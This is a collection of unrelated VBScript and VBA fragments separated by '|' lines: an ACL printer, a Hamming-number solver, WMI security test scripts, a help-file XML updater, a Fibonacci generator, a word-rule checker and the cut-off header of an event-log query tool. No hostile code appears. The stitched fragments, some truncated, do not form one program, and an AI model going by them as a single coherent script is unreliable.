set dacl = sd.DiscretionaryAcl
WScript.Echo
WScript.Echo "DACL"
WScript.Echo "===="
WScript.Echo
DisplayACL dacl
set sacl = sd.SystemAcl
WScript.Echo
WScript.Echo "SACL"
WScript.Echo "===="
WScript.Echo
DisplayACL sacl
Sub DisplayAcl (acl)
on error resume next
' NOTE: The following test should really be IsObject, but
' for some reason using [ogd] we don't get a nothing back from the
' IADsSecurityDescriptor.SystemAcl and DiscretionaryAcl calls, we get what
' looks like VT_NULL.
'
' We can change this to use IsNull instead to fix that test, but then
' the [o] test fails here with "Object Required". It seems that sometimes
' the omission of the ACL from the SD is marked with a VT_NULL and sometimes
' is literally marked as "Nothing".
if IsObject(acl) then
if Not acl is Nothing then
if err <> 0 then
WScript.Echo "No ACL Present"
else
Wscript.Echo "AceCount:", acl.AceCount
WScript.Echo "AclRevision:", acl.AclRevision
for each ace in acl
DisplayAce ace
next
end if
else
WScript.Echo "No ACL Present"
end if
else
WScript.Echo "No ACL Present"
end if
End Sub
Sub DisplayAce (ace)
on error resume next
WScript.Echo " " & Hex(ace.AccessMask) & " " & ace.AceType & " " & ace.Trustee
End Sub
|
'RosettaCode Hamming numbers
'This is a well known hard problem in number theory:
'counting the number of lattice points in a
'n-dimensional tetrahedron, here n=3.
Public a As Double, b As Double, c As Double, d As Double
Public p As Double, q As Double, r As Double
Public cnt() As Integer 'stores the number of lattice points indexed on the exponents of 3 and 5
Public hn(2) As Integer 'stores the exponents of 2, 3 and 5
Public Declare Function GetTickCount Lib "kernel32.dll" () As Long
Private Function log10(x As Double) As Double
log10 = WorksheetFunction.log10(x)
End Function
Private Function pow(x As Variant, y As Variant) As Double
pow = WorksheetFunction.Power(x, y)
End Function
Private Sub init(N As Long)
'Computes a, b and c as the vertices
'(a,0,0), (0,b,0), (0,0,c) of a tetrahedron
'with apex (0,0,0) and volume N
'volume N=a*b*c/6
Dim k As Double
k = log10(2) * log10(3) * log10(5) * 6 * N
k = pow(k, 1 / 3)
a = k / log10(2)
b = k / log10(3)
c = k / log10(5)
p = -b * c
q = -a * c
r = -a * b
End Sub
Private Function x_given_y_z(y As Integer, z As Integer) As Double
x_given_y_z = -(q * y + r * z + a * b * c) / p
End Function
Private Function cmp(i As Integer, j As Integer, k As Integer, gn() As Integer) As Boolean
cmp = (i * log10(2) + j * log10(3) + k * log10(5)) > (gn(0) * log10(2) + gn(1) * log10(3) + gn(2) * log10(5))
End Function
Private Function count(N As Long, step As Integer) As Long
'Loop over y and z, compute x and
'count number of lattice points within tetrahedron.
'Step 1 is indirectly called by find_seed to calibrate the plane through A, B and C
'Step 2 fills the matrix cnt with the number of lattice points given the exponents of 3 and 5
'Step 3 the plane is lowered marginally so one or two candidates stick out
Dim M As Long, j As Integer, k As Integer
If step = 2 Then ReDim cnt(0 To Int(b) + 1, 0 To Int(c) + 1)
M = 0: j = 0: k = 0
Do While -c * j - b * k + b * c > 0
Do While -c * j - b * k + b * c > 0
Select Case step
Case 1: M = M + Int(x_given_y_z(j, k))
Case 2
cnt(j, k) = Int(x_given_y_z(j, k))
Case 3
If Int(x_given_y_z(j, k)) < cnt(j, k) Then
'This is a candidate, and ...
If cmp(cnt(j, k), j, k, hn) Then
'it is bigger dan what is already in hn
hn(0) = cnt(j, k)
hn(1) = j
hn(2) = k
End If
End If
End Select
k = k + 1
Loop
k = 0
j = j + 1
Loop
count = M
End Function
Private Sub list_upto(ByVal N As Integer)
Dim count As Integer
count = 1
Dim hn As Integer
hn = 1
Do While count < N
k = hn
Do While k Mod 2 = 0
k = k / 2
Loop
Do While k Mod 3 = 0
k = k / 3
Loop
Do While k Mod 5 = 0
k = k / 5
Loop
If k = 1 Then
Debug.Print hn; " ";
count = count + 1
End If
hn = hn + 1
Loop
Debug.Print
End Sub
Private Function find_seed(N As Long, step As Integer) As Long
Dim initial As Long, total As Long
initial = N
Do 'a simple iterative goal search, takes a handful iterations only
init initial
total = count(initial, step)
initial = initial + N - total
Loop Until total = N
find_seed = initial
End Function
Private Sub find_hn(N As Long)
Dim fs As Long, err As Long
'Step 1: find fs such that the number of lattice points is exactly N
fs = find_seed(N, 1)
'Step 2: fill the matrix cnt
init fs
err = count(fs, 2)
'Step 3: lower the plane by diminishing fs, the candidates for
'the Nth Hamming number will stick out and be recorded in hn
init fs - 1
err = count(fs - 1, 3)
Debug.Print "2^" & hn(0) - 1; " * 3^" & hn(1); " * 5^" & hn(2); "=";
If N < 1692 Then
'The task set a limit on the number size
Debug.Print pow(2, hn(0) - 1) * pow(3, hn(1)) * pow(5, hn(2))
Else
Debug.Print
If N <= 1000000 Then
'The big Hamming Number will end in a lot of zeroes. The common exponents of 2 and 5
'are split off to be printed separately.
If hn(0) - 1 < hn(2) Then
'Conversion to Decimal datatype with CDec allows to print numbers upto 10^28
Debug.Print CDec(pow(3, hn(1))) * CDec(pow(5, hn(2) - hn(0) + 1)) & String$(hn(0) - 1, "0")
Else
Debug.Print CDec(pow(2, hn(0) - 1 - hn(2))) * CDec(pow(3, hn(1))) & String$(hn(2), "0")
End If
End If
End If
End Sub
Public Sub main()
Dim start_time As Long, finis_time As Long
start_time = GetTickCount
Debug.Print "The first twenty Hamming numbers are:"
list_upto 20
Debug.Print "Hamming number 1691 is: ";
find_hn 1691
Debug.Print "Hamming number 1000000 is: ";
find_hn 1000000
finis_time = GetTickCount
Debug.Print "Execution time"; (finis_time - start_time); " milliseconds"
End Sub
|
<filename>admin/wmi/wbem/scripting/test/vbscript/stress/rprocess.vbs
on error resume next
while true
set service = GetObject ("winmgmts://ludlow/root/cimv2")
'PASS 1 - identify
WScript.Echo ">>Pass 1: ", service.Security_.impersonationLevel
set processes = service.ExecQuery ("select Name from Win32_Process","WQL",0)
if err <> 0 then
WScript.Echo "Got error as expected:", err.Number, err.description, err.source
err.clear
end if
'PASS 2 - anonymous
service.Security_.impersonationlevel = 1
WScript.Echo ">> Pass 2: ", service.Security_.impersonationLevel
set processes = service.ExecQuery ("select Name from Win32_Process","WQL",0)
if err <> 0 then
WScript.Echo "Got error as expected:", err.Number, err.description, err.source
err.clear
end if
'PASS 2 - impersonate
service.Security_.impersonationlevel = 3
WScript.Echo ">> Pass 2: ", service.Security_.impersonationLevel
set processes = service.ExecQuery ("select Name from Win32_Process","WQL",0)
if err <> 0 then
WScript.Echo "Got error:", err.Number, err.description, err.source
err.clear
else
WScript.Echo "OK"
end if
'PASS 3 - delegate
service.Security_.impersonationlevel = 4
WScript.Echo ">> Pass 2: ", service.Security_.impersonationLevel
set processes = service.ExecQuery ("select Name from Win32_Process","WQL",0)
if err <> 0 then
WScript.Echo "Got error:", err.Number, err.description, err.source
err.clear
else
WScript.Echo "OK"
end if
wend
|
Attribute VB_Name = "HelpImagePopulater"
Option Explicit
Private Const HHT_ELEMENT_METADATA_C As String = "METADATA"
Private Const HHT_ELEMENT_HELPIMAGE_C As String = "HELPIMAGE"
Private Const HHT_ELEMENT_HELPFILE_C As String = "HELPFILE"
Private Const HHT_FULL_ELEMENT_TAXONOMY_ENTRY_C As String = "METADATA/TAXONOMY_ENTRIES/TAXONOMY_ENTRY"
Private Const HHT_ATTR_ACTION_C As String = "ACTION"
Private Const HHT_ATTR_CHM_C As String = "CHM"
Private Const HHT_ATTR_URI_C As String = "URI"
Private Const HHT_VALUE_ADD_C As String = "ADD"
Private Const CHM_SIG_C As String = ".chm::/"
Private Const CHM_EXT_C As String = ".chm"
Private Const LISTED_FILE_C As Long = 1
Private Const DERIVED_FILE_C As Long = 2
Public Sub PopulateHelpImage( _
ByVal i_strFolder As String _
)
Dim DOMDocPkgDesc As MSXML2.DOMDocument
Dim DOMNodeHHT As MSXML2.DOMDocument
Dim dictHelpFiles As Scripting.Dictionary
Dim intNumHHTs As Long
Dim intIndex As Long
Dim strFile As String
frmMain.Output "Populating HelpImage...", LOGGING_TYPE_NORMAL_E
Set DOMDocPkgDesc = GetPackageDescription(i_strFolder)
intNumHHTs = GetNumberOfHHTsListedInPackageDescription(DOMDocPkgDesc)
For intIndex = 1 To intNumHHTs
strFile = GetNthHHTListedInPackageDescription(DOMDocPkgDesc, intIndex)
frmMain.Output "File: " & strFile, LOGGING_TYPE_NORMAL_E
strFile = i_strFolder & "\" & strFile
Set DOMNodeHHT = GetFileAsDomDocument(strFile)
DOMNodeHHT.setProperty "SelectionLanguage", "XPath"
Set dictHelpFiles = New Scripting.Dictionary
p_GetHelpFiles DOMNodeHHT, dictHelpFiles
p_GetDerivedHelpFiles DOMNodeHHT, dictHelpFiles
p_PutHelpFiles DOMNodeHHT, dictHelpFiles
DOMNodeHHT.save strFile
Next
End Sub
Private Sub p_GetHelpFiles( _
ByVal i_DOMNodeHHT As MSXML2.DOMDocument, _
ByVal u_dict As Scripting.Dictionary _
)
Dim DOMNodeHelpImage As MSXML2.IXMLDOMNode
Dim DOMNode As MSXML2.IXMLDOMNode
Dim strHelpFile As String
u_dict.CompareMode = TextCompare
Set DOMNodeHelpImage = i_DOMNodeHHT.selectSingleNode(HHT_ELEMENT_METADATA_C & "/" & HHT_ELEMENT_HELPIMAGE_C)
If (Not DOMNodeHelpImage Is Nothing) Then
For Each DOMNode In DOMNodeHelpImage.childNodes
strHelpFile = XMLGetAttribute(DOMNode, HHT_ATTR_CHM_C)
If (Not u_dict.Exists(strHelpFile)) Then
u_dict.Add strHelpFile, LISTED_FILE_C
End If
Next
End If
End Sub
Private Sub p_GetDerivedHelpFiles( _
ByVal i_DOMNodeHHT As MSXML2.DOMDocument, _
ByVal u_dict As Scripting.Dictionary _
)
Dim DOMNodeList As MSXML2.IXMLDOMNodeList
Dim DOMNode As MSXML2.IXMLDOMNode
Dim strURI As String
Dim strHelpFile As String
u_dict.CompareMode = TextCompare
Set DOMNodeList = i_DOMNodeHHT.selectNodes(HHT_FULL_ELEMENT_TAXONOMY_ENTRY_C)
If (Not DOMNodeList Is Nothing) Then
For Each DOMNode In DOMNodeList
DoEvents
strURI = XMLGetAttribute(DOMNode, HHT_ATTR_URI_C)
strHelpFile = p_GetHelpFile(strURI)
If (strHelpFile <> "") And (Not u_dict.Exists(strHelpFile)) Then
u_dict.Add strHelpFile, DERIVED_FILE_C
End If
Next
End If
End Sub
Private Function p_GetHelpFile( _
ByVal i_strURI As String _
) As String
Dim strHelpFile As String
Dim strURI As String
Dim i As Long
Dim j As Long
strURI = LCase$(i_strURI)
i = InStr(strURI, CHM_SIG_C)
If (i = 0) Then
GoTo LEnd
End If
j = InStrRev(strURI, "\", i)
If (j = 0) Then
GoTo LEnd
End If
strHelpFile = Mid$(strURI, j + 1, i - j - 1) & CHM_EXT_C
LEnd:
If ((strHelpFile = "") And (strURI <> "")) Then
frmMain.Output "URI ignored: " & i_strURI, LOGGING_TYPE_WARNING_E
End If
p_GetHelpFile = strHelpFile
End Function
Private Sub p_PutHelpFiles( _
ByVal u_DOMNodeHHT As MSXML2.DOMDocument, _
ByVal i_dict As Scripting.Dictionary _
)
Dim DOMNodeHelpImage As MSXML2.IXMLDOMNode
Dim Element As MSXML2.IXMLDOMElement
Dim vntHelpFile As Variant
Set DOMNodeHelpImage = u_DOMNodeHHT.selectSingleNode(HHT_ELEMENT_METADATA_C & "/" & HHT_ELEMENT_HELPIMAGE_C)
If (DOMNodeHelpImage Is Nothing) Then
Dim DOMNodeMetaData As MSXML2.IXMLDOMNode
If (i_dict.Count = 0) Then
Exit Sub
End If
Set DOMNodeMetaData = u_DOMNodeHHT.selectSingleNode(HHT_ELEMENT_METADATA_C)
Set Element = u_DOMNodeHHT.createElement(HHT_ELEMENT_HELPIMAGE_C)
DOMNodeMetaData.appendChild Element
Set DOMNodeHelpImage = Element
End If
For Each vntHelpFile In i_dict.Keys
If (i_dict(vntHelpFile) = DERIVED_FILE_C) Then
Set Element = u_DOMNodeHHT.createElement(HHT_ELEMENT_HELPFILE_C)
XMLSetAttribute Element, HHT_ATTR_ACTION_C, HHT_VALUE_ADD_C
XMLSetAttribute Element, HHT_ATTR_CHM_C, vntHelpFile
DOMNodeHelpImage.appendChild Element
End If
Next
End Sub
|
<filename>Task/Fibonacci-sequence/VBScript/fibonacci-sequence-1.vb
class generator
dim t1
dim t2
dim tn
dim cur_overflow
Private Sub Class_Initialize
cur_overflow = false
t1 = ccur(0)
t2 = ccur(1)
tn = ccur(t1 + t2)
end sub
public default property get generated
on error resume next
generated = ccur(tn)
if err.number <> 0 then
generated = cdbl(tn)
cur_overflow = true
end if
t1 = ccur(t2)
if err.number <> 0 then
t1 = cdbl(t2)
cur_overflow = true
end if
t2 = ccur(tn)
if err.number <> 0 then
t2 = cdbl(tn)
cur_overflow = true
end if
tn = ccur(t1+ t2)
if err.number <> 0 then
tn = cdbl(t1) + cdbl(t2)
cur_overflow = true
end if
on error goto 0
end property
public property get overflow
overflow = cur_overflow
end property
end class
|
Do
Debug.Print("SPAM")
Loop
|
Public Sub Module()
Dim sd As Boolean
End Sub
|
' Set the authority and check display name is OK
WScript.Echo "Pass 1 - Set authority in SWbemObjectPath"
WScript.Echo "======================================"
WScript.Echo
set obj = CreateObject ("WbemScripting.SWbemObjectPath")
obj.Authority = "ntlmdomain:redmond"
obj.Security_.impersonationLevel = 3
obj.Server = "myServer"
obj.Namespace = "root\default"
WScript.Echo obj.Authority
WScript.Echo obj.DisplayName
WScript.Echo
WScript.Echo
'Now feed the display name the object
WScript.Echo "Pass 2 - Set authority in Display Name"
WScript.Echo "==================================="
WScript.Echo
obj.DisplayName = "winmgmts:{authority=ntlmdomain:redmond,authenticationLevel=connect}[locale=ms_0x409]!root\splodge"
WScript.Echo obj.Authority
WScript.Echo obj.DisplayName
WScript.Echo
WScript.Echo
'Now Set authority direct
WScript.Echo "Pass 3 - Set authority directly"
WScript.Echo "============================"
WScript.Echo
obj.DisplayName = "winmgmts:root\splodge"
obj.Authority = "kerberos:mydomain\server"
WScript.Echo obj.Authority
WScript.Echo obj.DisplayName
obj.Authority = vbNullString
WScript.Echo obj.Authority
WScript.Echo obj.DisplayName
obj.Authority = ""
WScript.Echo obj.Authority
WScript.Echo obj.DisplayName
WScript.Echo
WScript.Echo
'Plug the authority into the moniker
WScript.Echo "Pass 4 - Set authority in moniker"
WScript.Echo "============================="
WScript.Echo
set Service = GetObject ("winmgmts:{impersonationLevel=impersonate,authority=ntlmdomain:redmond}!root\default")
set cim = Service.Get ("__cimomidentification=@")
WScript.Echo cim.Path_.Authority
WScript.Echo cim.Path_.DisplayName
WScript.Echo
WScript.Echo
'Plug the authority into ConnectServer
WScript.Echo "Pass 4 - Set authority in ConnectServer"
WScript.Echo "===================================="
WScript.Echo
set Locator = CreateObject ("WbemScripting.SWbemLocator")
set Service = Locator.ConnectServer (,,,,,"ntlmdomain:redmond")
Service.Security_.impersonationLevel = 3
set disk = Service.Get ("Win32_LogicalDisk=""C:""")
WScript.Echo disk.Path_.Authority
WScript.Echo disk.Path_.DisplayName
WScript.Echo
WScript.Echo
|
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set srcFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) &_
"\unixdict.txt",1,False,0)
cei = 0 : cie = 0 : ei = 0 : ie = 0
Do Until srcFile.AtEndOfStream
word = srcFile.ReadLine
If InStr(word,"cei") Then
cei = cei + 1
ElseIf InStr(word,"cie") Then
cie = cie + 1
ElseIf InStr(word,"ei") Then
ei = ei + 1
ElseIf InStr(word,"ie") Then
ie = ie + 1
End If
Loop
FirstClause = False
SecondClause = False
Overall = False
'testing the first clause
If ie > ei*2 Then
WScript.StdOut.WriteLine "I before E when not preceded by C is plausible."
FirstClause = True
Else
WScript.StdOut.WriteLine "I before E when not preceded by C is NOT plausible."
End If
'testing the second clause
If cei > cie*2 Then
WScript.StdOut.WriteLine "E before I when not preceded by C is plausible."
SecondClause = True
Else
WScript.StdOut.WriteLine "E before I when not preceded by C is NOT plausible."
End If
'overall clause
If FirstClause And SecondClause Then
WScript.StdOut.WriteLine "Overall it is plausible."
Else
WScript.StdOut.WriteLine "Overall it is NOT plausible."
End If
srcFile.Close
Set objFSO = Nothing
|
'********************************************************************
'*
'* Copyright (c) Microsoft Corporation. All rights reserved.
'*
'* Module Name: EVENTQUERY.vbs
'*
'* Abstract: Enables an administrator to query/view all existing
'* events in a given event log(s).
'*
'*
'********************************************************************
' Global declaration
OPTION EXPLICIT
ON ERROR RESUME NEXT
Err.Clear
'----------------------------------------------------------------
' Start of localization Content
'----------------------------------------------------------------
' the filter operators specified by the user
CONST L_OperatorEq_Text = "eq"
CONST L_OperatorNe_Text = "ne"
CONST L_OperatorGe_Text = "ge"
CONST L_OperatorLe_Text = "le"
CONST L_OperatorGt_Text = "gt"
CONST L_OperatorLt_Text = "lt"
' the filters as given by the user
CONST L_UserFilterDateTime_Text = "datetime"
CONST L_UserFilterType_Text = "type"
CONST L_UserFilterUser_Text = "user"
CONST L_UserFilterComputer_Text = "computer"
CONST L_UserFilterSource_Text = "source"
CONST L_UserFilterDateCategory_Text = "category"
CONST L_UserFilterId_Text = "id"
' the text displayed in columns when no output is obtained for display
CONST L_TextNa_Text = "N/A"
CONST L_TextNone_Text = "None"
' the following texts are used while parsing the command-line arguments
' (passed as input to the function component.getArguments)
CONST L_MachineName_Text = "Server Name"
CONST L_UserName_Text = "User Name"
CONST L_UserPassword_Text = "<PASSWORD>"
CONST L_Format_Text = "Format"
CONST L_Range_Text = "Range"
CONST L_Filter_Text = "Filter"
CONST L_Log_Text = "Logname"
' the column headers used in the output display
CONST L_ColHeaderType_Text = "Type"
CONST L_ColHeaderDateTime_Text = "Date Time"
CONST L_ColHeaderSource_Text = "Source"
CONST L_ColHeaderCategory_Text = "Category"
CONST L_ColHeaderEventcode_Text = "Event"
CONST L_ColHeaderUser_Text = "User"
CONST L_ColHeaderComputerName_Text = "ComputerName"
CONST L_ColHeaderDesription_Text = "Description"
' Maximum Column Header Lengths used to display various fields.
' Localization team can adjust these five column lengths to fit the localized strings, but
' their sum should come to 74. We always want to limit the total chars displayed per line to 79
' 74 chars + 5 spaces to separate the columns == 79 .
CONST L_ColHeaderTypeLength_Text = 13
CONST L_ColHeaderDateTimeLength_Text = 23
CONST L_ColHeaderSourceLength_Text = 17 'This is the most preferred one to shorten.
CONST L_ColHeaderComputerNameLength_Text = 15
CONST L_ColHeaderEventcodeLength_Text = 6
'These can be changed as it will not have any effect on the display.
CONST L_ColHeaderUserLength_Text = 20
CONST L_ColHeaderCategoryLength_Text = 15
CONST L_ColHeaderDesriptionLength_Text = 0
' variable use to concatenate the Localization Strings.
' Error Messages
Dim UseCscriptErrorMessage
Dim InvalidParameterErrorMessage
Dim InvalidFormatErrorMessage
Dim InvalidCredentialsForServerErrorMessage
Dim InvalidCredentialsForUserErrorMessage
Dim InvalidSyntaxErrorMessage
Dim InvalidInputErrorMessage
Dim InvalidORSyntaxInFilterErrorMessage
Dim InvalidSyntaxMoreNoRepeatedErrorMessage
CONST L_HelpSyntax1_Message = "Type ""%1 /?"" for usage."
CONST L_HelpSyntax2_Message = "Type ""%2 /?"" for usage."
CONST L_InvalidParameter1_ErrorMessage = "ERROR: Invalid Argument/Option - '%1'."
InvalidParameterErrorMessage = L_InvalidParameter1_ErrorMessage & vbCRLF & L_HelpSyntax2_Message
CONST L_InvalidFormat1_ErrorMessage = "ERROR: Invalid 'FORMAT' '%1' specified."
InvalidFormatErrorMessage = L_InvalidFormat1_ErrorMessage & vbCRLF & L_HelpSyntax2_Message
CONST L_InvalidRange_ErrorMessage = "ERROR: Invalid 'RANGE' '%1' specified."
CONST L_Invalid_ErrorMessage = "ERROR: Invalid '%1'."
CONST L_InvalidType_ErrorMessage = "ERROR: Invalid 'TYPE' '%1' specified for the 'FILTER' '%2'."
CONST L_InvalidUser_ErrorMessage = "ERROR: Invalid 'USER' '%1' specified for the 'FILTER '%2'."
CONST L_InvalidId_ErrorMessage = "ERROR: Invalid 'ID' '%1' specified for the 'FILTER' '%2'."
CONST L_InvalidFilter_ErrorMessage = "ERROR: Invalid 'FILTER' '%1' specified for the 'FILTER' '%2'."
CONST L_InvalidFilterFormat_ErrorMessage = "ERROR: The FILTER '%1' is not in the required format."
CONST L_InvalidFilterOperation_ErrorMessage = "ERROR: Invalid FILTER operator '%1' specified for the filter '%2'."
CONST L_InvalidCredentialsForServer1_ErrorMessage = "ERROR: Invalid Syntax. /U can only be specified only when /S is specified."
InvalidCredentialsForServerErrorMessage = L_InvalidCredentialsForServer1_ErrorMessage & vbCRLF & L_HelpSyntax1_Message
CONST L_InvalidCredentialsForUser1_ErrorMessage = "ERROR: Invalid Syntax. /P can be only specified only when /U is specified."
InvalidCredentialsForUserErrorMessage = L_InvalidCredentialsForUser1_ErrorMessage & vbCRLF & L_HelpSyntax1_Message
CONST L_InvalidOperator_ErrorMessage = "ERROR: Invalid operator specified for the range of dates in the 'DATETIME' filter."
CONST L_InvalidDateTimeFormat_ErrorMessage = "ERROR: Invalid 'DATETIME' format specified. Format:MM/dd/yy(yyyy),hh:mm:ssAM([/PM)]"
CONST L_ExecuteQuery_ErrorMessage = "ERROR: Unable to execute the query for the '%1' log."
CONST L_LogDoesNotExist_ErrorMessage = "ERROR: The log file '%1' does not exist."
CONST L_InstancesFailed_ErrorMessage = "ERROR: Unable to get the log details from the system."
CONST L_InvalidSyntax1_ErrorMessage = "ERROR: Invalid Syntax."
InvalidSyntaxErrorMessage = L_InvalidSyntax1_ErrorMessage & vbCRLF & L_HelpSyntax1_Message
CONST L_InvalidInput1_ErrorMessage = "ERROR: Invalid input. Please check the input Values."
InvalidInputErrorMessage = L_InvalidInput1_ErrorMessage & vbCRLF & L_HelpSyntax1_Message
CONST L_ObjCreationFail_ErrorMessage = "ERROR: Unexpected Error, Query failed. "
CONST L_InfoUnableToInclude_ErrorMessage = "ERROR: Unable to include the common module""CmdLib.Wsc""."
CONST L_ComponentNotFound_ErrorMessage = "ERROR: Unable to create the component '%1'."
CONST L_NoHeaderaNotApplicable_ErrorMessage = "ERROR: /NH option is allowed only for ""TABLE"" and ""CSV"" formats."
CONST L_InValidServerName_ErrorMessage = "ERROR: Invalid Syntax. System name cannot be empty."
CONST L_InValidUserName_ErrorMessage = "ERROR: Invalid Syntax. User name cannot be empty. "
CONST L_InvalidORSyntaxInFilter1_ErrorMessage = "ERROR: Invalid 'OR' operation is specified for the filter."
CONST L_InvalidORSyntaxInFilter2_ErrorMessage = "'OR' operation valid only for filters TYPE and ID."
InvalidORSyntaxInFilterErrorMessage = L_InvalidORSyntaxInFilter1_ErrorMessage & vbCRLF & L_InvalidORSyntaxInFilter2_ErrorMessage
CONST L_InvalidSyntaxMoreNoRepeated1_ErrorMessage = "ERROR: Invalid Syntax. '%1' option is not allowed more than 1 time(s)."
InvalidSyntaxMoreNoRepeatedErrorMessage = L_InvalidSyntaxMoreNoRepeated1_ErrorMessage & vbCRLF & L_HelpSyntax2_Message
' Hints given in case of errors
CONST L_HintCheckConnection_Message = "ERROR: Please check the system name, credentials and WMI (WBEM) service."
' Informational messages
CONST L_InfoNoRecordsInFilter_Message = "INFO: No records available for the '%1' log with the specified criteria."
CONST L_InfoNoRecords_Message = "INFO: No records available for the '%1' log."
CONST L_InfoNoLogsPresent_Message = "INFO: No logs are available in the system."
CONST L_InfoDisplayLog_Message = "Listing the events in '%1' log of host '%2'"
' Cscript usage strings
CONST L_UseCscript1_ErrorMessage = "This script should be executed from the command prompt using CSCRIPT.EXE."
CONST L_UseCscript2E_ErrorMessage = "For example: CSCRIPT %windir%\System32\EVENTQUERY.vbs <arguments>"
CONST L_UseCscript3_ErrorMessage = "To set CScript as the default application to run .vbs files, run the following:"
CONST L_UseCscript4_ErrorMessage = " CSCRIPT //H:CSCRIPT //S"
CONST L_UseCscript5E_ErrorMessage = "You can then run ""%windir%\System32\EVENTQUERY.vbs <arguments>"" without preceding the script with CSCRIPT."
' Contents for showing help for Usage
CONST L_ShowUsageLine00_Text = "No logs are available on this system for query."
CONST L_ShowUsageLine01_Text = "EVENTQUERY.vbs [/S system [/U username [/P password]]] [/V] [/FI filter]"
CONST L_ShowUsageLine02_Text = " [/FO format] [/R range] [/NH] [/L logname | *]"
CONST L_ShowUsageLine03_Text = "Description:"
CONST L_ShowUsageLine04_Text = " The EVENTQUERY.vbs script enables an administrator to list"
CONST L_ShowUsageLine05_Text = " the events and event properties from one or more event logs."
CONST L_ShowUsageLine06_Text = "Parameter List:"
CONST L_ShowUsageLine07_Text = " /S system Specifies the remote system to connect to."
CONST L_ShowUsageLine08_Text = " /U [domain\]user Specifies the user context under which the"
CONST L_ShowUsageLine09_Text = " command should execute."
CONST L_ShowUsageLine10_Text = " /P password Specifies the password for the given"
CONST L_ShowUsageLine11_Text = " user context."
CONST L_ShowUsageLine12_Text = " /V Displays verbose information. Specifies that "
CONST L_ShowUsageLine13_Text = " the detailed information should be displayed "
CONST L_ShowUsageLine14_Text = " in the output."
CONST L_ShowUsageLine15_Text = " /FI filter Specifies the types of events to"
CONST L_ShowUsageLine16_Text = " filter in or out of the query."
CONST L_ShowUsageLine17_Text = " /FO format Specifies the format in which the output"
CONST L_ShowUsageLine18_Text = " is to be displayed."
CONST L_ShowUsageLine19_Text = " Valid formats are ""TABLE"", ""LIST"", ""CSV""."
CONST L_ShowUsageLine20_Text = " /R range Specifies the range of events to list."
CONST L_ShowUsageLine21_Text = " Valid Values are:"
CONST L_ShowUsageLine22_Text = " 'N' - Lists 'N' most recent events."
CONST L_ShowUsageLine23_Text = " '-N' - Lists 'N' oldest events."
CONST L_ShowUsageLine24_Text = " 'N1-N2' - Lists the events N1 to N2."
CONST L_ShowUsageLine25_Text = " /NH Specifies that the ""Column Header"" should"
CONST L_ShowUsageLine26_Text = " not be displayed in the output."
CONST L_ShowUsageLine27_Text = " Valid only for ""TABLE"" and ""CSV"" formats."
CONST L_ShowUsageLine28_Text = " /L logname Specifies the log(s) to query."
CONST L_ShowUsageLine29_Text = " /? Displays this help/usage message."
CONST L_ShowUsageLine30_Text = " Valid Filters Operators allowed Valid Values"
CONST L_ShowUsageLine31_Text = " ------------- ------------------ ------------"
CONST L_ShowUsageLine32_Text = " DATETIME eq,ne,ge,le,gt,lt MM/dd/yy(yyyy),hh:mm:ssAM(/PM)"
CONST L_ShowUsageLine33_Text = " TYPE eq,ne SUCCESS, ERROR, INFORMATION,"
CONST L_ShowUsageLine34_Text = " WARNING, SUCCESSAUDIT,"
CONST L_ShowUsageLine35_Text = " FAILUREAUDIT"
CONST L_ShowUsageLine36_Text = " ID eq,ne,ge,le,gt,lt non-negative integer(0 - 65535)"
CONST L_ShowUsageLine37_Text = " USER eq,ne string"
CONST L_ShowUsageLine38_Text = " COMPUTER eq,ne string"
CONST L_ShowUsageLine39_Text = " SOURCE eq,ne string"
CONST L_ShowUsageLine40_Text = " CATEGORY eq,ne string"
CONST L_ShowUsageLine41_Text = "NOTE: Filter ""DATETIME"" can be specified as ""FromDate-ToDate"""
CONST L_ShowUsageLine42_Text = " Only ""eq"" operator can be used for this format."
CONST L_ShowUsageLine43_Text = "Examples:"
CONST L_ShowUsageLine44_Text = " EVENTQUERY.vbs "
CONST L_ShowUsageLine45_Text = " EVENTQUERY.vbs /L system "
CONST L_ShowUsageLine46_Text = " EVENTQUERY.vbs /S system /U user /P password /V /L *"
CONST L_ShowUsageLine47_Text = " EVENTQUERY.vbs /R 10 /L Application /NH"
CONST L_ShowUsageLine48_Text = " EVENTQUERY.vbs /R -10 /FO LIST /L Security"
CONST L_ShowUsageLine49_Text = " EVENTQUERY.vbs /R 5-10 /L ""DNS Server"""
CONST L_ShowUsageLine50_Text = " EVENTQUERY.vbs /FI ""Type eq Error"" /L Application"
CONST L_ShowUsageLine51_Text = " EVENTQUERY.vbs /L Application"
CONST L_ShowUsageLine52_Text = " /FI ""Datetime eq 08/15/02,03:15:00AM-08/15/02,03:15:00PM"""
CONST L_ShowUsageLine53_Text = " EVENTQUERY.vbs /FI ""Datetime gt 07/04/02,04:27:00PM"" "
CONST L_ShowUsageLine54_Text = " /FI ""Id gt 700"" /FI ""Type eq warning"" /L System"
CONST L_ShowUsageLine55_Text = " EVENTQUERY.vbs /FI ""Type eq error OR Id gt 1000 """
'-------------------------------------------------------------------------
' END of localization content
'-------------------------------------------------------------------------
' Define default values
CONST ConstDefaultFormat_Text = "TABLE"
' Define other format values
CONST Const_List_Format_Text = "LIST"
CONST Const_Csv_Format_Text = "CSV"
' Define constants
CONST CONST_ERROR = 0
CONST CONST_CSCRIPT = 2
CONST CONST_SHOW_USAGE = 3
CONST CONST_PROCEED = 4
CONST CONST_ERROR_USAGE = 5
CONST CONST_NO_MATCHES_FOUND = 0
' Define the Exit Values
CONST EXIT_SUCCESS = 0
CONST EXIT_UNEXPECTED = 255
CONST EXIT_INVALID_INPUT = 254
CONST EXIT_METHOD_FAIL = 250
CONST EXIT_INVALID_PARAM = 999
CONST EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED = 777
' Define default values
CONST CONST_ARRAYBOUND_NUMBER = 10
CONST CONST_ID_NUMBER = 65535
' Define namespace and class names of wmi
CONST CONST_NAMESPACE_CIMV2 = "root\cimv2"
CONST CLASS_EVENTLOG_FILE = "Win32_NTEventlogFile"
' for blank line in help usage
CONST EmptyLine_Text = " "
' Define the various strings used in the script
'=============================================
' the valid options supported by the script
CONST OPTION_SERVER = "s"
CONST OPTION_USER = "u"
CONST OPTION_PASSWORD = "p"
CONST OPTION_FORMAT = "fo"
CONST OPTION_RANGE = "r"
CONST OPTION_NOHEADER = "nh"
CONST OPTION_VERBOSE = "v"
CONST OPTION_FILTER = "fi"
CONST OPTION_HELP = "?"
CONST OPTION_LOGNAME = "l"
' the property names on which the user given filters are applied
CONST FLD_FILTER_DATETIME = "TimeGenerated"
